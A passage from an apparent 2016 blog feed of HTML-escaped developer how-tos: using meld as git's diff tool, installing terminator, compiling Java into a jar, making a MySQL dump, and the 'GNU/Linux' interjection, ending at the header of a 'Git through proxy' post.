   <content type="html">&lt;ol&gt;
  &lt;li&gt;First, install meld (or from source : &lt;a href=&quot;http://meldmerge.org/&quot;&gt;http://meldmerge.org&lt;/a&gt;)&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;sudo apt-get install meld &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. Then, create a directory named script in home folder&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;cd ~; mkdir script; cd script;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;3. Create a file and name it git_meld.py&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;touch git_meld.p&lt;/span&gt;y&lt;br /&gt;&lt;br /&gt;4. Insert the following codes :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;#!/usr/bin/python &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;import sys &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;import os&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;os.system(‘meld “%s” “%s”’ % (sys.argv[2], sys.argv[5])) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. Save the file.&lt;br /&gt;&lt;br /&gt;6. Then, set git to use this script as part of ‘diff’ command&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git config –global diff.external /home/script/git_meld.py &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That’s it, we’re done. Use &lt;span style=&quot;background-color: #cccccc; font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git diff&lt;/span&gt; as the following&lt;br /&gt;&lt;br /&gt;// compares working directory with index&lt;br /&gt;// i.e. shows the changes that are not staged yet. &lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git diff &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;// compares working directory with local repository. &lt;br /&gt;// shows the list of changes after your last commit. &lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git diff HEAD &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;// compares index with local repository. &lt;br /&gt;// shows the diff between your last commit and changes to be committed next (already staged, but not yet commited) &lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git diff –cached&lt;/span&gt;&lt;br /&gt;Full manual available :&lt;br /&gt;&lt;a href=&quot;https://www.kernel.org/pub/software/scm/git/docs/git-diff.html&quot;&gt;https://www.kernel.org/pub/software/scm/git/docs/git-diff.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you want to compare between 2 commits, use&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git log&lt;/span&gt; and then copy the commit ID of the 2 commits you want to compare&lt;br /&gt;i.e.&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;commit &lt;span style=&quot;color: #cc0000;&quot;&gt;8c9dcaa5424a67ddf20cd453bcb6db4c5b04edbf&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt; — copy this&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;Author: Raf &lt;mrafsyam gmail.com=&quot;&quot;&gt;&lt;/mrafsyam&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;Date:   Sat Sep 3 17:49:19 2016 +0800&lt;/span&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;br /&gt;And then, run the following&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;git diff [commitA] [commitB]&lt;/span&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/li&gt;
&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Install terminator, a nice terminal application for Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/14/Install-terminator,-a-nice-terminal-application-for-Linux/"/>
   <updated>2016-09-14T05:37:40+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/14/Install-terminator,-a-nice-terminal-application-for-Linux</id>
   <content type="html">&lt;p&gt;Use terminator if you use terminal alot&lt;br /&gt;- multi tabs&lt;br /&gt;- multi panels&lt;br /&gt;- fast&lt;br /&gt;&lt;br /&gt;More info : http://gnometerminator.blogspot.my/p/introduction.html&lt;br /&gt;&lt;br /&gt;1. To install, download tar ball from here&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;http://launchpad.net/terminator/trunk/0.97/+download/terminator-0.97.tar.gz&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. Copy to somewhere you usually install your application&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;sudo cp -r terminator-0.97 /usr/local/&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;3. Create a symlink to our application in /usr/bin &lt;br /&gt;This enable you to run it from terminal&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;ln -s /usr/local/terminator-0.97/terminator /usr/bin/terminator&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Now you can run terminator from command line. &lt;br /&gt;To run it without the need of the console, run&lt;br /&gt;&lt;span style=&quot;font-family: &amp;quot;courier new&amp;quot; , &amp;quot;courier&amp;quot; , monospace;&quot;&gt;setsid terminator&lt;/span&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Java basic compilation and execution</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/10/Java-basic-compilation-and-execution/"/>
   <updated>2016-09-10T22:20:53+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/10/Java-basic-compilation-and-execution</id>
   <content type="html">&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; line-height: 19.5px; margin-bottom: 1em; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;ol style=&quot;border: 0px; line-height: 19.5px; margin: 0px 0px 1em 30px; padding: 0px;&quot;&gt;&lt;li style=&quot;background-color: white; border: 0px; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;div style=&quot;border: 0px; clear: both; color: #242729; padding: 0px;&quot;&gt;Your Java File (source code)&lt;/div&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; margin-top: 0.5em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;color: #2b91af;&quot;&gt;MyGame&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border: 0px; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;div style=&quot;border: 0px; clear: both; color: #242729; padding: 0px;&quot;&gt;Compile the Java File to a *.class file. This is&lt;span style=&quot;color: #222222; font-family: arial, sans-serif; font-size: 16px; line-height: 19.2px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;color: #222222; font-family: arial, sans-serif; font-size: 16px; line-height: 19.2px;&quot;&gt;Java&amp;nbsp;&lt;/b&gt;&lt;span style=&quot;color: #222222; font-family: arial, sans-serif; font-size: 16px; line-height: 19.2px;&quot;&gt;bytecode that can be executed on the&amp;nbsp;&lt;/span&gt;&lt;b style=&quot;color: #222222; font-family: arial, sans-serif; font-size: 16px; line-height: 19.2px;&quot;&gt;Java&lt;/b&gt;&lt;span style=&quot;color: #222222; font-family: arial, sans-serif; font-size: 16px; line-height: 19.2px;&quot;&gt;&amp;nbsp;Virtual Machine (JVM). JVM is installed automatically when we install Java and it will be invoked automatically when we run a java program.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Note : In Eclipse, &quot;run&quot; perform both compilation and execution.&lt;/div&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; margin-top: 0.5em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;javac &lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;color: #2b91af;&quot;&gt;MyGame&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ul style=&quot;border: 0px; color: #242729; list-style-type: disc; margin: 0px 0px 0px 30px; padding: 0.5em 0px 0px;&quot;&gt;&lt;li style=&quot;border: 0px; margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;This will create a&amp;nbsp;&lt;code style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin: 0px; padding: 1px 5px; white-space: pre-wrap;&quot;&gt;MyGame.class&lt;/code&gt;&amp;nbsp;file&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border: 0px; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;div style=&quot;border: 0px; clear: both; color: #242729; padding: 0px;&quot;&gt;Execution of the Java File&lt;/div&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; margin-top: 0.5em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java &lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;color: #2b91af;&quot;&gt;MyGame&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style=&quot;border: 0px; margin: 0px 0px 0.5em; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;div style=&quot;border: 0px; clear: both; padding: 0px;&quot;&gt;&lt;span style=&quot;color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-size: 15px;&quot;&gt;Creation of an executable&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;code style=&quot;background-color: #eff0f1; border: 0px; color: #242729; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin: 0px; padding: 1px 5px; white-space: pre-wrap;&quot;&gt;*.jar&lt;/code&gt;&lt;span style=&quot;color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-size: 15px;&quot;&gt;&amp;nbsp;file. A jar file is simply a file containing a collection of java files.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #242729; font-family: Arial, Helvetica Neue, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: white; font-size: 15px;&quot;&gt;First, create a manifest file : &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #2b91af; font-family: Consolas, Menlo, Monaco, Lucida Console, Liberation Mono, DejaVu Sans Mono, Bitstream Vera Sans Mono, Courier New, monospace, sans-serif;&quot;&gt;&lt;span style=&quot;background-color: #eff0f1; font-size: 13px;&quot;&gt;touch manifest.mf&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style=&quot;background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; margin-bottom: 1em; padding: 0px;&quot;&gt;In the manifest file, point Main-Class to our java file that has main entry point i.e. main() method. For example,&lt;/div&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Manifest&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Version&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;border: 0px; color: #7d2727; margin: 0px; padding: 0px;&quot;&gt;1.0&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;border: 0px; color: #2b91af; margin: 0px; padding: 0px;&quot;&gt;Class&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;color: #2b91af;&quot;&gt;MyGame&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;span style=&quot;background-color: white; color: #242729; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px;&quot;&gt;Make sure the compiled output class files (myGame.class) and the manifest file are in the same folder.&lt;br /&gt;&lt;br /&gt;Create the .jar file by the following :&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; color: #393318; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;jar cfm MyGame&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;jar manifest&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;mf &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;*.&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;border: 0px; color: #101094; margin: 0px; padding: 0px;&quot;&gt;class&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/li&gt;&lt;li style=&quot;background-color: white; border: 0px; font-family: Arial, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, sans-serif; font-size: 15px; margin: 0px; padding: 0px; word-wrap: break-word;&quot;&gt;&lt;div style=&quot;border: 0px; clear: both; color: #242729; padding: 0px;&quot;&gt;To run the Jar File&lt;/div&gt;&lt;pre class=&quot;lang-java prettyprint prettyprinted&quot; style=&quot;background-color: #eff0f1; border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; font-size: 13px; margin-bottom: 1em; margin-top: 0.5em; max-height: 600px; overflow: auto; padding: 5px; width: auto; word-wrap: normal;&quot;&gt;&lt;code style=&quot;border: 0px; font-family: Consolas, Menlo, Monaco, &amp;quot;Lucida Console&amp;quot;, &amp;quot;Liberation Mono&amp;quot;, &amp;quot;DejaVu Sans Mono&amp;quot;, &amp;quot;Bitstream Vera Sans Mono&amp;quot;, &amp;quot;Courier New&amp;quot;, monospace, sans-serif; margin: 0px; padding: 0px; white-space: inherit;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;java &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;jar &lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; margin: 0px; padding: 0px;&quot;&gt;&lt;span style=&quot;color: #2b91af;&quot;&gt;MyGame&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;border: 0px; color: #303336; margin: 0px; padding: 0px;&quot;&gt;jar&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;
</content>
 </entry>
 
 <entry>
   <title>Creating a dump file of a MySQL database for developement in other machine</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/08/Creating-a-dump-file-of-a-MySQL-database-for-developement-in-other-machine/"/>
   <updated>2016-09-08T11:24:04+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/08/Creating-a-dump-file-of-a-MySQL-database-for-developement-in-other-machine</id>
   <content type="html">&lt;p&gt;Create the dump file using the following :&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: Courier New, Courier, monospace;&quot;&gt;mysqldump –user=username –password –databases MY_DATABASE –single-transaction –add-drop-table –no-tablespaces –skip-disable-keys &amp;gt; dump_sit.sql&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Add &lt;span style=&quot;background-color: #eff0f1; font-family: Courier New, Courier, monospace;&quot;&gt;-h remote-server-address&lt;/span&gt; if you’re creating from remote database server.&lt;br /&gt;&lt;br /&gt;Afterwards, edit the dump file and put these lines at the beginning:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: Courier New, Courier, monospace;&quot;&gt;SET AUTOCOMMIT = 0; SET FOREIGN_KEY_CHECKS=0; And put these lines at the end: SET FOREIGN_KEY_CHECKS = 1; COMMIT; SET AUTOCOMMIT = 1;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #eff0f1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;For example, using sed on Linux to insert at the beginning of the file:&lt;br /&gt;&lt;span style=&quot;background-color: #eff0f1; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;background-color: transparent;&quot;&gt;sed -i ‘1s/^/SET AUTOCOMMIT = 0; SET FOREIGN_KEY_CHECKS=0;\n/’ dump_sit.sql&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Appending at the end of the file :&lt;br /&gt;&lt;span style=&quot;background-color: #eff0f1;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;echo “SET FOREIGN_KEY_CHECKS = 1; COMMIT; SET AUTOCOMMIT = 1;” &amp;gt;&amp;gt; dump_sit.sql&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&amp;lt;div&amp;gt;&lt;span style=&quot;background-color: #eff0f1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&amp;lt;/div&amp;gt;To understand what these options means, go to :&lt;br /&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.7/en/mysqldump.html#option_mysqldump_compatible&quot;&gt;http://dev.mysql.com/doc/refman/5.7/en/mysqldump.html#option_mysqldump_compatible&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>GNU/Linux</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/06/GNULinux/"/>
   <updated>2016-09-06T16:07:41+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/06/GNULinux</id>
   <content type="html">&lt;p&gt;Linux, is in fact, GNU/Linux. &lt;br /&gt;&lt;br /&gt; It is GNU plus Linux. &lt;br /&gt;&lt;br /&gt;Linux is not an operating system unto itself, but rather another free component of a fully functioning GNU system made useful by the GNU corelibs, shell utilities and vital system components comprising a full OS as defined by POSIX.  Many computer users run a modified version of the GNU system every day, without realizing it. Through a peculiar turn of events, the version of GNU which is widely used today is often called “Linux”, and many of its users are not aware that it is basically the GNU system, developed by the GNU Project. &lt;br /&gt;&lt;br /&gt;There really is a Linux, and these people are using it, but it is just a part of the system they use.  Linux is the kernel: the program in the system that allocates the machine’s resources to the other programs that you run. &lt;br /&gt;&lt;br /&gt;The kernel is an essential part of an operating system, but useless by itself; it can only function in the context of a complete operating system. Linux is normally used in combination with the GNU operating system: the whole system is basically GNU with Linux added, or GNU/Linux. &lt;br /&gt;&lt;br /&gt;All the so-called “Linux” distributions are really distributions of GNU/Linux.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Git through proxy</title>
   <link href="https://www.instagram.com/zeroquitgenes//2016/09/06/Git-through-proxy/"/>
   <updated>2016-09-06T16:04:20+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2016/09/06/Git-through-proxy</id>
